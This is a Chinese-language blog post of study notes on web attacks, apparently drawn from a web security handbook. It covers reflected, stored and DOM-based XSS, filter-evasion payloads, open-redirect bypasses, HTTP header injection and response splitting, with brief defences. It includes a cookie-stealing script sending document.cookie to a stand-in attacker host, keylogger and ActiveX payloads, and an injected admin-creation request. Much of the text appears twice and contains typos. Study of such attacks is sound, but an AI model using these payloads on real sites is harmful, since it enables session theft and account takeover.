- 浏览: 31819 次
- 性别:
- 来自: 杭州
最近访客 更多访客>>
最新评论
-
fxyc:
写的不错。
难过的时候看看,也许会豁然开朗 -
greatghoul:
都是感情方面的事儿。
难过的时候看看,也许会豁然开朗 -
fengshihao:
带过一些公司后 ,深有体会
当你有几个OFFER选择时,大家往往忽略的重要因素 -
sdh5724:
的确........{patch}
当你有几个OFFER选择时,大家往往忽略的重要因素 -
form_rr:
过来人的一席话!
当你有几个OFFER选择时,大家往往忽略的重要因素
反射性XSS漏洞
请求这个URL
https://wahh-app.com/error.php?message=Sorry%2c+an+error+occured
如果应用程序只是简单复制URL中message参数的值,并将这个值插入到位于适当位置的错误页面模板中:(应用程序响应)
<p>Sorry, an error occurred.</p>
如果Url经过专门的设计,
https://wahh-app.com/error.php?message=<scirpt>alert(‘xss’);</script>
那么在浏览器中就会弹出一个警告窗口
<p><scirpt>alert(‘xss’);</script></p>
通过攻击者的URL劫持用户的Cookie内容
(1) 用户正常登陆,得到一个令牌
Set-Cookie: sessId=182912djfkl23203
(2) 攻击者通过某种方法提交URL(URL编码加号表示空格,%2b表示加号)
https://wahh-app.com/error.php?message=<scirpt>var+i=new+Image;+i.src=”http”//wahh-attacker.com/”%2bdoucument.cookie;</script>
(3) 用户请求这个攻击者的url
(4) 服务器响应这个请求,响应中包含攻击者创建的JavaScript代码
(5) 用户浏览器执行这段代码
var i=new Image;i.src=http://wahh-attacker.com/+document.cookie;
这段代码向攻击者的服务器提出一个请求,请求中包含用户的会话令牌
Get /sessId=182912djfkl23203 HTTP/1.1
Host: wahh-attacker.com
如果应用程序有记住我功能,浏览器就保存了一个持久性cookie,这事不需要第一个步骤,即使用户并未处于活动状态或登陆应用程序,攻击者仍旧能够成功实现上述目标。
只有发布cookie的站点才能访问这些cookie,因此如果在wahh-attacker.com上的一段脚本查询document.cookie,是无法访问wahh-app.com发布的cookie的,所以必须要以XSS的方式才能访问。(一个域的页面不能读取或者修改另一个域的cookie或者DOM数据)
XSS攻击成功的原因是攻击者的恶意Javascirpt是由wahh-app.com送交给他的,所以document.cookie能够访问这个cookie。
另外这里可以通过https安全检查,因为攻击者提供的URL确实由wahh-app.com服务器传送的
邮件欺骗 对URL模糊处理 例如空格等用%3d替换 欺骗性就更大了
反射型XSS需要诱使用户访问它专门设计的URL,保存型XSS则不需要。
保存型XSS
一名用户提交的数据被保存在应用程序中(通常后端数据库中),然后不经适当过滤或净化就显示给用户,就会出现这种漏洞。
攻击者提交JavaScirpt代码作为一个问题提交,应用程序保存这个问题到数据库,其他用户查看这个问题就会在浏览器执行这个脚本,造成漏洞。
在上传文件中保存XSS
如果能够上传一个保护JavaScript的HTML或文本文件,且受害者查看这份文件,那么就会被攻击。
为防止这种攻击,许多应用程序禁止Html文件。但是允许上传JPEG图像。IE中,用户请求一个JPEG文件(并非通过嵌入式<img>标签),那么浏览器会将它的内容作为html处理,可以上传一个包含XSS的文件,并以.jpg扩展名命名,那么就会攻击
HTTP 1.1 200 OK
Date: Sat,6 May 2007
Server:Apache
Content-length: 19
Content-Type : image/jpeg
<script>alert(document.cookie)</script>
即使Content-type规定是图像,IE会忽略并把内容当做html处理,因为文件包含HTML的内容
基于DOM的XSS
假设应用程序的返回错误页面包含以下脚本
<script>
var a=document.URL
a=unescape(a)
document.write(a.substring(a.indexOf(“message=”)+8,a.length))
<script>
这段脚本解析Url,提取message参数的值,并将这个值写入HTML源代码中。
如果URL的设计如下:
https://wahh-app.com/error.php?message=<script>alert(‘xss’);</script>
就会造成攻击
保存型XSS比较经典的用Web电子邮件攻击,电子邮件中包含HTML的内容,应用程序会将第三方HtmL复制到向用户显示的页面中,攻击者发送包含恶意javacript html内容的邮件,就可能被攻击。
XMLHttpRequest 有一个重要的限制,只能用于向和调用它的页面相同的域提出请求
XSS攻击有效载荷
1 虚拟置换
向站点中注入Html标记,或者使用脚本在站点中注入精心设计的内容和导航条,这种攻击并没有修改保存在目标web服务器上的内容,而是利用应用程序处理并显示用户提交的输入方面的缺陷来置换。
这种置换的虚假信息可以误导用户,例如错误的股票信息
2注入木马
3 诱使用户执行操作
攻击者可以促使其他用户利用sql注入漏洞在数据库用户账户中添加一个新的管理员用户,燃火攻击这可以控制这个新账户,通过它执行恶意操作,但是任何对应用程序日志的调查结果将会怀疑为这名新建用户
4 利用信任关系
a 应用程序采用激活自动完成功能的表单,由应用程序提交的javascript就能截获任何以前输入的、用户浏览器保存在自动完成缓存中的数据。
b 一些web应用程序要求用户将其域名添加到浏览器的可信站点区域。这样会使攻击者可以执行任意代码,例如Windows程序。
<script>
var o=new ActiveXObject(‘WScritp.shell’);
o.run(‘calc.exe’)
</script>
5 扩大攻击范围
记录键击
监视用户的全部键击活动
<script>doucement.onkeypress=function(){
window.status+=String.fromCharCode(window.event.keyCode)
}
window.status 浏览器的状态栏中显示全部内容
String.fromCharCode 把asc码值转换成字符
截获剪贴板内容
<script>
alert(window.clipboardData.getData(‘Text’))
</script>
使用Javascript对本地端口进行扫描,使用Java applet确定用户的IP地址
XSS攻击的传送机制
反射型XSS
电子邮件发送URL
即时消息发送URL
第三方站点发送Url
攻击者付费购买许多链接至一个URL的横幅广告,这个Url有XSS的有效载荷
XSS攻击一般都是利用精心设计的URL通过javascript来攻击
判定是否有XSS漏洞
提交
“><script>alert(document.cookie)</script>
这个字符串被提交到应用程序页面的每一个参数中,同时攻击者监控他的响应,如果发现攻击字符串按原样出现在响应中,那么程序有XSS漏洞(URL的参数中,如?q=…,反射型XSS测试)
有些应用程序存在防XSS漏洞,但是利用一些方式可以避开过滤
“><script >alert(document.cookie)</script >
“><ScRiPt>alert(document.cookie)</ScRiPt>
“%3e%3cscript%3ealert(document.cookie)%3c/script%3e 利用URL编码
“><scr<script>ipt>alert(document.cookie)</scr</script>ipt> 利用递归过滤漏洞
%00“><script>alert(document.cookie)</script>
反射型XSS漏洞的查找和利用
要对POST和GET方法都进行测试 因为有些POST方法也有漏洞可以利用
假设返回的页面中包含以下脚本
<input type=”text” name=”address1” value=”myxsjkfjdl”>
一种方法是终止包含字符串的双引号,结束input标签
“></script>alert(document.cookie)</script><!—
<!—是HtML注释的开始部分 用来屏蔽后面的内容
<!— 注释内容>
最后变为
<input type=”text” name=”address1” value=””></script>alert(document.cookie)</script><!—>
另一种避开过滤的利用方法,在input标签中注入一个包含javascript的事件处理器
“onfocus=”alert(document.cookie)
最后变为
<input type=”text” name=”address1” value=”” onfocus=”alert(document.cookie)”>
<script>var a=’mydjfkldjf’;var b=123;…</script>
利用XSS
‘;alert(document.cookie);var foo=’
变为
<script>var a=’’; alert(document.cookie);var foo=’’;var b=123;…</script>
<img src=”mylsjfkdjf”>
一些浏览器在src中可以包含javascript的src来进行XSS
javascript:alert(document.cookie)
或者可以用一个无效图像名称与一个onerror事件处理器
“onerror=”alert(document.cookie)
变为
<img src=””onerror=”alert(document.cookie)”>
注意以上的XSS攻击需要对特殊字符进行URL编码
避开基于签名的过滤(检测到攻击而阻止输入)
需要确定哪些字符或者表达式触发了过滤
大小写漏洞
空格漏洞
一些过滤匹配任何成对的起始与结束尖括号,删除其中的任何内容,但可以避开过滤
<input type=”hidden” name=”pageid” value=”foo”>
若可以控制value属性值
则可以注入
foo”><x style=”x:expression(alert(document.cookie)) 这样尖括号就不成对了
变成
<input type=”hidden” name=”pageid” value=”foo”>
<x style=”x:expression(alert(document.cookie))”>
许多标签在一个expression字符串中接受一个包含javascript的style属性
许多时候,浏览器接受未结束的html标签,但仍可以攻击
<img src=”” onerror=alert(document.cookie)
如果遇到空字节,一些过滤会停止处理字符串,在被过滤的表达式前插入一个url编码的空字节可以避开过滤
foo%00<script>
<script/src=…
<scri%00pt>
expr/*****/ession
服务器在响应返回的攻击有效载荷会被浏览器解码,这样可以避开过滤,使用标准UTF-8编码,利用多余填补数据的标准编码以及省略分号的十六进制编码
<img src=jav a……
<img src=jav a……
var a=alert(“do”+”cument”+”.cook”+”ie”);eval(a) 来避开过滤
避开净化(将攻击字符串转换为无害)
将< 变为< 大于变为>是一种避开方法
递归净化漏洞
有时应用程序对注入的引号字符串插入反斜线转义来组织攻击者终止字符串,注入任意脚本。这种情况下,应该核实反斜杠本身是否被转义了,如果未被转义那么可以避开攻击
如果可以控制foo值
var a=’foo’
注入
foo\’;alert(document.cookie);//
//将剩余的脚本作为注释,防止因为应用程序自己的字符串分隔符造成语法错误
如果\\没有被转义,那么字符串变为
var a=’foo\\’;alert(document.cookie);//’
这样就会被攻击了
在前面的例子,如果反斜杠被正确的转义,但尖括号原样返回
注入
</script><script>alert(document.cookie)</script>//
则变为
<script>var a= ‘</script><script>alert(document.cookie)</script>//’
此时虽然javascript有错误,但是还是可以继续执行的
突破长度限制(输入长度限制)
将一个攻击有效载荷分布到几个不同的位置
若一个URL
https:/wahh-app.com/account.php?page_id=244&seed=12344&mode=normal
他将返回如下页面
<input type=”hidden” name=”page_id” value=”244”>
<input type=”hidden” name=” seed” value=” 12344”>
<input type=”hidden” name=” mode” value=” normal”>
如果应用程序有长度限制,阻止攻击字符串,可以将一个脚本分布到三个不同位置
https:/wahh-app.com/account.php?page_id=”><script>/*&seed=*/alert(document.cookie);/*&mode=*/</script>
则脚本变为
<input type=”hidden” name=”page_id” value=””><script>/*”>
<input type=”hidden” name=” seed” value=”*/alert(document.cookie);/*”>
<input type=”hidden” name=” mode” value=” */</script>”>
最终的HTML等效于黑色部分
还有一种将反射型XSS漏洞转换成一个基于DOM的漏洞
如果应用程序对复制到返回页面中的message参数长度限制,则可以使用
<script>eval(location.hash.substr(1))</script>
对当前url中的片段字符串求值,从而执行位于片段字符串中的另一段脚本,不受应用程序过滤影响,可以任意长度
https://wahh-app.com/error.php?message=<script>eval(location.hash.substr(1))</script>#alert(‘long script here’)
把POST请求变为GET请求看是否能够进行XSS攻击
使用非标准编码,然后HTTP content-type消息头的charset属性设置编码类型
专门控制URL的API
document.location
document.URL
document.URLUnencoded
document,referrer
window.location
基于DOM的XSS漏洞避开服务器确认的方法
请求这个url
https://wahh-app.com/error.php?message=Sorry%2c+an+error+occured
假设应用程序的返回错误页面包含以下脚本
<script>
var a=document.URL
a=unescape(a)
document.write(a.substring(a.indexOf(“message=”)+8,a.length))
<script>
DOM的XSS
这种应用程序的方式,有时会将URL提交给服务器,来检测是否有有效载荷,没有才可以继续执行。用这种方式来防御基于DOM的XSS攻击,但是可以用下面的方式来躲过过滤
当客户端脚本从URL中提取一个参数值时,它们很少将查询字符串正确解析成名称/值对,相反它们通常会在URL中搜索后面紧跟着等号的参数名称,然后提取直到URL结束位置,如上面就是这样,这样可以用两种方式来利用这个漏洞
第一 服务器根据每个参数而不是整个URL应用确认机制,可以将攻击载荷插入到易受攻击参数后面的虚构参数中
https://wahh-app.com/error.php?message=Sorry%2c+an+error+occured&foo=<script>alert(document.cookie)</script>
这时,虚构参数会被服务器忽略,因此不会受到任何过滤,但是,因此客户端脚本在查询字符串中搜索message=,并提取其后的全部内容,所以它包含有效载荷
第二 如果服务器对整个URL而不仅仅是消息参数确认,仍然可以将有效载荷插入到HTML片段字符#的右边避开过滤
https://wahh-app.com/error.php?message=Sorry%2c+an+error+occured#<script>alert(document.cookie)</script>
浏览器不将URL中的片断部分提交给服务器,因此攻击字符串不会被过滤,客户端提取所以内容,所以仍旧被复制到HTML页面源代码中。
如果在前面的应用中,应用程序使用更严格的解析,它在URL中搜索后面紧跟着等号的参数名称,提取等号的内容,直到遇到一个分隔符,如&或#,可以利用下面得攻击方式
https://wahh-app.com/error.php?foomessage=<script>alert(document.cookie)</script>&message=Sorry%2c+an+error+occured
或者
https://wahh-app.com/error.php#message=<script>alert(document.cookie)</script>
javascript 调试工具 firebug
攻击XSS漏洞的一种有效载荷,就是使用嵌入的javascript获取document.cookie属性,截获用户会话令牌
Set-Cookie:SessId=43kl4jk3j4kldkjfled;HttpOnly;
加入HttpOnly,,阻止客户端脚本访问cookie。虽然浏览器仍然会在请求的http消息头中提交这个cookie,但它不会出现在document.cookie返回的字符串中。,即只是当用户浏览有效域中的站点时,这个cookie在消息头中被自动发送。
防止XSS攻击
防止反射和保存性XSS攻击
反射和保存型Xss攻击常常由于没有适当的确认和净化造成的
防止基于DOM的攻击
确认输入
<script>
var a=document.URL;
a=a.substring(a.indexOf(“message=”)+8,a.length);
a=unescape(a);
var regex=/^(A-za-z0-9+\s)*$/
if(regex.test(a))
document.write(a);
</script>
确认将插入的数据只包含字母数字空白符
重定向攻击
应用程序使用户浏览器重定向方式
如果应用程序以下方式 易受到攻击
GET /redir.php?target=http://wahh-attacker.com/ HTTP/1.1 黑色的是用户控制的数据
Host:wahh-app.com
HTTP/1.1 302 Object moved 这个是一种重定向方式
Location: http://wahh-attacker.com/
通过用户控制的数据来设置重定向目标易于受到攻击
通常应用程序会使用一些防御来阻止攻击,但是可以避开:
(1) 应用程序检查用户提交是否有http://开头,如果是就阻止,避开方法
HtTp:// wahh-attacker.com/
%00http://wahh-attacker.com/
http://wahh-attacker.com/ 首行空格
//wahh-attacker.com/
%68%74%68%68……wahh-attacker.com 用URL编码方式
https://wahh-attacker.com/
(2) 应用程序会删除http://头或者整个外部域
http://http://wahh-attacker.com/
http://wahh-attacker.com/https://wahh-attacker.com/
hthttp://tp:// wahh-attacker.com/
(3) 应用程序会检查用户提交的字符串是否以指向它自己的域名的绝对URL开头或者是否包含这个url
http://wahh-app.com.wahh-attacker.com/ 如果应用程序控制wahh-app.com域的dns记录 那么就有可能被攻击
http://wahh-attacker.com/?http://wahh-app.com/
http://wahh-attacker.com/%23http://wahh-app.com/ URL编码
消息头注入
GET /home.php?uid=123 HTTP/1.1
Host:wahh-app.com
HTTP 1.1 200 OK
Set-Cookie: UserId=123
uid是用户输入的话,攻击者可以用0x0d回车符 0x0a换行符构造一个专门设计的请求,来注入一个换行符,从而在下面一行来注入其他数据
GET /home.php?uid=123%0d%0aFoo:+bar HTTP/1.1
Host:wahh-app.com
HTTP 1.1 200 OK
Set-Cookie: UserId=123
Foo:bar
如果发现换行符被应用程序阻止或者净化,尝试使用]
foo%00%0d%0abar
foo%250d%250abar %25是url编码的%
foo%%0d0d%%0a0abar
(1) 注入cookie
这里target的内容用户控制
GET /redir.php?target=/%0d%0aSet-cookie:+SessId%3d120a12f98e8; HTTP/1.1
Host: wahh-app.com
HTTP/1.1 302 Object moved
Location:/
Set-Cookie: SessId=120a12f98e8;
(2) 传送其他攻击
因为HTTP消息头注入可以控制整个响应主体,所以可以使用其他任何攻击
虚拟Web站点置换,脚本注入,任意重定向等
(3) HTTP响应分割攻击
第一步 :
攻击者在代理服务器缓存中选择一个希望毒害的应用程序页面,例如用一个木马表单(可以向攻击者的服务器提交用户证书)代替/admin/位置的页面
第二步:
利用消息头漏洞
GET/home.php?uid=123%0d%0aContent-Length:+22%0d%0a<html>%0d%0afoo%0d%0a</html>%0d%0aHTTP/1.1+200+OK%0d%0aContent-Length:+2307%0d%0a%0d%0a<html>%0a%0a<head>%0d%0a<title>Administrator+login</title>%0d%0a[….long url….] HTTP/1.1
HOST:wahh-app.com
响应将变为
HTTP/1.1 200 OK
Set-Cookie: UserID=123
Content-Length:22
<html>
foo
</html>
HTTP/1.1 200 OK
Content-Length: 2307
<html>
<head>
<title>Administrator login</title>
….
消息头注入一个完整的Http主体和另一组响应消息头和另一个响应主体,第二个消息主体有木马页面源代码。这样,服务器看起来像两个连接在一起的单独http响应。这叫HTTP响应分割。
第三步:
攻击者与代理服务器TCP连接,传送这个精心设计的请求,后面紧跟着访问被“毒害”的页面的请求,在HTTP协议中,以这种方式请求是合法的。
GET/home.php?uid=123%0d%0aContent-Length:+22%0d%0a<html>%0d%0afoo%0d%0a</html>%0d%0aHTTP/1.1+200+OK%0d%0aContent-Length:+2307%0d%0a%0d%0a<html>%0a%0a<head>%0d%0a<title>Administrator+login</title>%0d%0a[….long url….] HTTP/1.1
HOST:wahh-app.com
Proxy-Connection: Keep-alive Keep-alive表示长连接
GET http://wahh-app.com/admin/ HTTP/1.1
Host: wahh-app.com
Proxy-Connection:Close
第四步:
代理服务器与应用程序(web服务器)建立TCP连接,送出这两个以相同方式连接的请求
第五步:
应用程序用攻击者注入的HTTP内容响应的第一个GET请求,它看起来就像是两个独立的HTTP响应
第六步
代理服务器收到这两个看似单独的响应,并认为其中第二个响应与攻击者的第二个请求想对应,该请求指向URL http://wahh-app.com/admin。代理服务器把第二个响应作为这个URL的内容保存在缓存中(如果代理服务器已经在缓存中保存该页面的副本,那么攻击者可以在第二个请求中插入一个适当的IF-Modified-Since 消息头,并在注入的响应中插入一个Last-Modified消息头,使得代理服务器重新请求这个URL,用新的内容更新缓存)
第七步
应用程序发布它对攻击者的第二个请求的响应,其中包含http://wahh-app.com/admin的真实内容,代理服务器并不认为这个URL是它对发布的请求的响应,因而抛弃这个响应
第八步
一名用户通过代理访问http://wahh-app.com/admin,并收到这个URL保存在代理服务器中的内容,这个内容实际是攻击者的木马登陆表单,因而用户证书被攻破。
OSRF 本站点请求伪造
利用保存型XSS漏洞的常见攻击有效载荷
POST /submit.php
Host: wahh-app.com
Content-Length:34
type=question&name=daf&message=foo
这个请求导致以下内容被添加到消息
<tr>
<td><img src=”/images/question.gif”></td>
<td>daf</td>
<td>foo</td>
<tr>
如果用户在type参数提交
../admin/newUser.php?username=daf2&password=0wned&role=admin#
../将导致返回web根目录 然后admin会进入admin目录中/admin
任何查看消息的用户img src会导致提出一个GET请求
#终止后面的gif后缀
如果管理员用户查看该消息,将导致建立一个用户账户,即使管理员禁用javascript,该攻击也成立
XSRF 跨站点请求伪造攻击
JSON劫持
JSON常替代XML来传输javascript数据
会话固定
下面每个指令都可以阻止浏览器缓存一个页面 这些每一个都可以在http消息头或者html元标签meta中指定,
Expires ; 0
Cache-control: no cache
Pragma: no-cache
请求这个URL
https://wahh-app.com/error.php?message=Sorry%2c+an+error+occured
如果应用程序只是简单复制URL中message参数的值,并将这个值插入到位于适当位置的错误页面模板中:(应用程序响应)
<p>Sorry, an error occurred.</p>
如果Url经过专门的设计,
https://wahh-app.com/error.php?message=<scirpt>alert(‘xss’);</script>
那么在浏览器中就会弹出一个警告窗口
<p><scirpt>alert(‘xss’);</script></p>
通过攻击者的URL劫持用户的Cookie内容
(1) 用户正常登陆,得到一个令牌
Set-Cookie: sessId=182912djfkl23203
(2) 攻击者通过某种方法提交URL(URL编码加号表示空格,%2b表示加号)
https://wahh-app.com/error.php?message=<scirpt>var+i=new+Image;+i.src=”http”//wahh-attacker.com/”%2bdoucument.cookie;</script>
(3) 用户请求这个攻击者的url
(4) 服务器响应这个请求,响应中包含攻击者创建的JavaScript代码
(5) 用户浏览器执行这段代码
var i=new Image;i.src=http://wahh-attacker.com/+document.cookie;
这段代码向攻击者的服务器提出一个请求,请求中包含用户的会话令牌
Get /sessId=182912djfkl23203 HTTP/1.1
Host: wahh-attacker.com
如果应用程序有记住我功能,浏览器就保存了一个持久性cookie,这事不需要第一个步骤,即使用户并未处于活动状态或登陆应用程序,攻击者仍旧能够成功实现上述目标。
只有发布cookie的站点才能访问这些cookie,因此如果在wahh-attacker.com上的一段脚本查询document.cookie,是无法访问wahh-app.com发布的cookie的,所以必须要以XSS的方式才能访问。(一个域的页面不能读取或者修改另一个域的cookie或者DOM数据)
XSS攻击成功的原因是攻击者的恶意Javascirpt是由wahh-app.com送交给他的,所以document.cookie能够访问这个cookie。
另外这里可以通过https安全检查,因为攻击者提供的URL确实由wahh-app.com服务器传送的
邮件欺骗 对URL模糊处理 例如空格等用%3d替换 欺骗性就更大了
反射型XSS需要诱使用户访问它专门设计的URL,保存型XSS则不需要。
保存型XSS
一名用户提交的数据被保存在应用程序中(通常后端数据库中),然后不经适当过滤或净化就显示给用户,就会出现这种漏洞。
攻击者提交JavaScirpt代码作为一个问题提交,应用程序保存这个问题到数据库,其他用户查看这个问题就会在浏览器执行这个脚本,造成漏洞。
在上传文件中保存XSS
如果能够上传一个保护JavaScript的HTML或文本文件,且受害者查看这份文件,那么就会被攻击。
为防止这种攻击,许多应用程序禁止Html文件。但是允许上传JPEG图像。IE中,用户请求一个JPEG文件(并非通过嵌入式<img>标签),那么浏览器会将它的内容作为html处理,可以上传一个包含XSS的文件,并以.jpg扩展名命名,那么就会攻击
HTTP 1.1 200 OK
Date: Sat,6 May 2007
Server:Apache
Content-length: 19
Content-Type : image/jpeg
<script>alert(document.cookie)</script>
即使Content-type规定是图像,IE会忽略并把内容当做html处理,因为文件包含HTML的内容
基于DOM的XSS
假设应用程序的返回错误页面包含以下脚本
<script>
var a=document.URL
a=unescape(a)
document.write(a.substring(a.indexOf(“message=”)+8,a.length))
<script>
这段脚本解析Url,提取message参数的值,并将这个值写入HTML源代码中。
如果URL的设计如下:
https://wahh-app.com/error.php?message=<script>alert(‘xss’);</script>
就会造成攻击
保存型XSS比较经典的用Web电子邮件攻击,电子邮件中包含HTML的内容,应用程序会将第三方HtmL复制到向用户显示的页面中,攻击者发送包含恶意javacript html内容的邮件,就可能被攻击。
XMLHttpRequest 有一个重要的限制,只能用于向和调用它的页面相同的域提出请求
XSS攻击有效载荷
1 虚拟置换
向站点中注入Html标记,或者使用脚本在站点中注入精心设计的内容和导航条,这种攻击并没有修改保存在目标web服务器上的内容,而是利用应用程序处理并显示用户提交的输入方面的缺陷来置换。
这种置换的虚假信息可以误导用户,例如错误的股票信息
2注入木马
3 诱使用户执行操作
攻击者可以促使其他用户利用sql注入漏洞在数据库用户账户中添加一个新的管理员用户,燃火攻击这可以控制这个新账户,通过它执行恶意操作,但是任何对应用程序日志的调查结果将会怀疑为这名新建用户
4 利用信任关系
a 应用程序采用激活自动完成功能的表单,由应用程序提交的javascript就能截获任何以前输入的、用户浏览器保存在自动完成缓存中的数据。
b 一些web应用程序要求用户将其域名添加到浏览器的可信站点区域。这样会使攻击者可以执行任意代码,例如Windows程序。
<script>
var o=new ActiveXObject(‘WScritp.shell’);
o.run(‘calc.exe’)
</script>
5 扩大攻击范围
记录键击
监视用户的全部键击活动
<script>doucement.onkeypress=function(){
window.status+=String.fromCharCode(window.event.keyCode)
}
window.status 浏览器的状态栏中显示全部内容
String.fromCharCode 把asc码值转换成字符
截获剪贴板内容
<script>
alert(window.clipboardData.getData(‘Text’))
</script>
使用Javascript对本地端口进行扫描,使用Java applet确定用户的IP地址
XSS攻击的传送机制
反射型XSS
电子邮件发送URL
即时消息发送URL
第三方站点发送Url
攻击者付费购买许多链接至一个URL的横幅广告,这个Url有XSS的有效载荷
XSS攻击一般都是利用精心设计的URL通过javascript来攻击
判定是否有XSS漏洞
提交
“><script>alert(document.cookie)</script>
这个字符串被提交到应用程序页面的每一个参数中,同时攻击者监控他的响应,如果发现攻击字符串按原样出现在响应中,那么程序有XSS漏洞(URL的参数中,如?q=…,反射型XSS测试)
有些应用程序存在防XSS漏洞,但是利用一些方式可以避开过滤
“><script >alert(document.cookie)</script >
“><ScRiPt>alert(document.cookie)</ScRiPt>
“%3e%3cscript%3ealert(document.cookie)%3c/script%3e 利用URL编码
“><scr<script>ipt>alert(document.cookie)</scr</script>ipt> 利用递归过滤漏洞
%00“><script>alert(document.cookie)</script>
反射型XSS漏洞的查找和利用
要对POST和GET方法都进行测试 因为有些POST方法也有漏洞可以利用
假设返回的页面中包含以下脚本
<input type=”text” name=”address1” value=”myxsjkfjdl”>
一种方法是终止包含字符串的双引号,结束input标签
“></script>alert(document.cookie)</script><!—
<!—是HtML注释的开始部分 用来屏蔽后面的内容
<!— 注释内容>
最后变为
<input type=”text” name=”address1” value=””></script>alert(document.cookie)</script><!—>
另一种避开过滤的利用方法,在input标签中注入一个包含javascript的事件处理器
“onfocus=”alert(document.cookie)
最后变为
<input type=”text” name=”address1” value=”” onfocus=”alert(document.cookie)”>
<script>var a=’mydjfkldjf’;var b=123;…</script>
利用XSS
‘;alert(document.cookie);var foo=’
变为
<script>var a=’’; alert(document.cookie);var foo=’’;var b=123;…</script>
<img src=”mylsjfkdjf”>
一些浏览器在src中可以包含javascript的src来进行XSS
javascript:alert(document.cookie)
或者可以用一个无效图像名称与一个onerror事件处理器
“onerror=”alert(document.cookie)
变为
<img src=””onerror=”alert(document.cookie)”>
注意以上的XSS攻击需要对特殊字符进行URL编码
避开基于签名的过滤(检测到攻击而阻止输入)
需要确定哪些字符或者表达式触发了过滤
大小写漏洞
空格漏洞
一些过滤匹配任何成对的起始与结束尖括号,删除其中的任何内容,但可以避开过滤
<input type=”hidden” name=”pageid” value=”foo”>
若可以控制value属性值
则可以注入
foo”><x style=”x:expression(alert(document.cookie)) 这样尖括号就不成对了
变成
<input type=”hidden” name=”pageid” value=”foo”>
<x style=”x:expression(alert(document.cookie))”>
许多标签在一个expression字符串中接受一个包含javascript的style属性
许多时候,浏览器接受未结束的html标签,但仍可以攻击
<img src=”” onerror=alert(document.cookie)
如果遇到空字节,一些过滤会停止处理字符串,在被过滤的表达式前插入一个url编码的空字节可以避开过滤
foo%00<script>
<script/src=…
<scri%00pt>
expr/*****/ession
服务器在响应返回的攻击有效载荷会被浏览器解码,这样可以避开过滤,使用标准UTF-8编码,利用多余填补数据的标准编码以及省略分号的十六进制编码
<img src=jav a……
<img src=jav a……
var a=alert(“do”+”cument”+”.cook”+”ie”);eval(a) 来避开过滤
避开净化(将攻击字符串转换为无害)
将< 变为< 大于变为>是一种避开方法
递归净化漏洞
有时应用程序对注入的引号字符串插入反斜线转义来组织攻击者终止字符串,注入任意脚本。这种情况下,应该核实反斜杠本身是否被转义了,如果未被转义那么可以避开攻击
如果可以控制foo值
var a=’foo’
注入
foo\’;alert(document.cookie);//
//将剩余的脚本作为注释,防止因为应用程序自己的字符串分隔符造成语法错误
如果\\没有被转义,那么字符串变为
var a=’foo\\’;alert(document.cookie);//’
这样就会被攻击了
在前面的例子,如果反斜杠被正确的转义,但尖括号原样返回
注入
</script><script>alert(document.cookie)</script>//
则变为
<script>var a= ‘</script><script>alert(document.cookie)</script>//’
此时虽然javascript有错误,但是还是可以继续执行的
突破长度限制(输入长度限制)
将一个攻击有效载荷分布到几个不同的位置
若一个URL
https:/wahh-app.com/account.php?page_id=244&seed=12344&mode=normal
他将返回如下页面
<input type=”hidden” name=”page_id” value=”244”>
<input type=”hidden” name=” seed” value=” 12344”>
<input type=”hidden” name=” mode” value=” normal”>
如果应用程序有长度限制,阻止攻击字符串,可以将一个脚本分布到三个不同位置
https:/wahh-app.com/account.php?page_id=”><script>/*&seed=*/alert(document.cookie);/*&mode=*/</script>
则脚本变为
<input type=”hidden” name=”page_id” value=””><script>/*”>
<input type=”hidden” name=” seed” value=”*/alert(document.cookie);/*”>
<input type=”hidden” name=” mode” value=” */</script>”>
最终的HTML等效于黑色部分
还有一种将反射型XSS漏洞转换成一个基于DOM的漏洞
如果应用程序对复制到返回页面中的message参数长度限制,则可以使用
<script>eval(location.hash.substr(1))</script>
对当前url中的片段字符串求值,从而执行位于片段字符串中的另一段脚本,不受应用程序过滤影响,可以任意长度
https://wahh-app.com/error.php?message=<script>eval(location.hash.substr(1))</script>#alert(‘long script here’)
把POST请求变为GET请求看是否能够进行XSS攻击
使用非标准编码,然后HTTP content-type消息头的charset属性设置编码类型
专门控制URL的API
document.location
document.URL
document.URLUnencoded
document,referrer
window.location
基于DOM的XSS漏洞避开服务器确认的方法
请求这个url
https://wahh-app.com/error.php?message=Sorry%2c+an+error+occured
假设应用程序的返回错误页面包含以下脚本
<script>
var a=document.URL
a=unescape(a)
document.write(a.substring(a.indexOf(“message=”)+8,a.length))
<script>
DOM的XSS
这种应用程序的方式,有时会将URL提交给服务器,来检测是否有有效载荷,没有才可以继续执行。用这种方式来防御基于DOM的XSS攻击,但是可以用下面的方式来躲过过滤
当客户端脚本从URL中提取一个参数值时,它们很少将查询字符串正确解析成名称/值对,相反它们通常会在URL中搜索后面紧跟着等号的参数名称,然后提取直到URL结束位置,如上面就是这样,这样可以用两种方式来利用这个漏洞
第一 服务器根据每个参数而不是整个URL应用确认机制,可以将攻击载荷插入到易受攻击参数后面的虚构参数中
https://wahh-app.com/error.php?message=Sorry%2c+an+error+occured&foo=<script>alert(document.cookie)</script>
这时,虚构参数会被服务器忽略,因此不会受到任何过滤,但是,因此客户端脚本在查询字符串中搜索message=,并提取其后的全部内容,所以它包含有效载荷
第二 如果服务器对整个URL而不仅仅是消息参数确认,仍然可以将有效载荷插入到HTML片段字符#的右边避开过滤
https://wahh-app.com/error.php?message=Sorry%2c+an+error+occured#<script>alert(document.cookie)</script>
浏览器不将URL中的片断部分提交给服务器,因此攻击字符串不会被过滤,客户端提取所以内容,所以仍旧被复制到HTML页面源代码中。
如果在前面的应用中,应用程序使用更严格的解析,它在URL中搜索后面紧跟着等号的参数名称,提取等号的内容,直到遇到一个分隔符,如&或#,可以利用下面得攻击方式
https://wahh-app.com/error.php?foomessage=<script>alert(document.cookie)</script>&message=Sorry%2c+an+error+occured
或者
https://wahh-app.com/error.php#message=<script>alert(document.cookie)</script>
javascript 调试工具 firebug
攻击XSS漏洞的一种有效载荷,就是使用嵌入的javascript获取document.cookie属性,截获用户会话令牌
Set-Cookie:SessId=43kl4jk3j4kldkjfled;HttpOnly;
加入HttpOnly,,阻止客户端脚本访问cookie。虽然浏览器仍然会在请求的http消息头中提交这个cookie,但它不会出现在document.cookie返回的字符串中。,即只是当用户浏览有效域中的站点时,这个cookie在消息头中被自动发送。
防止XSS攻击
防止反射和保存性XSS攻击
反射和保存型Xss攻击常常由于没有适当的确认和净化造成的
防止基于DOM的攻击
确认输入
<script>
var a=document.URL;
a=a.substring(a.indexOf(“message=”)+8,a.length);
a=unescape(a);
var regex=/^(A-za-z0-9+\s)*$/
if(regex.test(a))
document.write(a);
</script>
确认将插入的数据只包含字母数字空白符
重定向攻击
应用程序使用户浏览器重定向方式
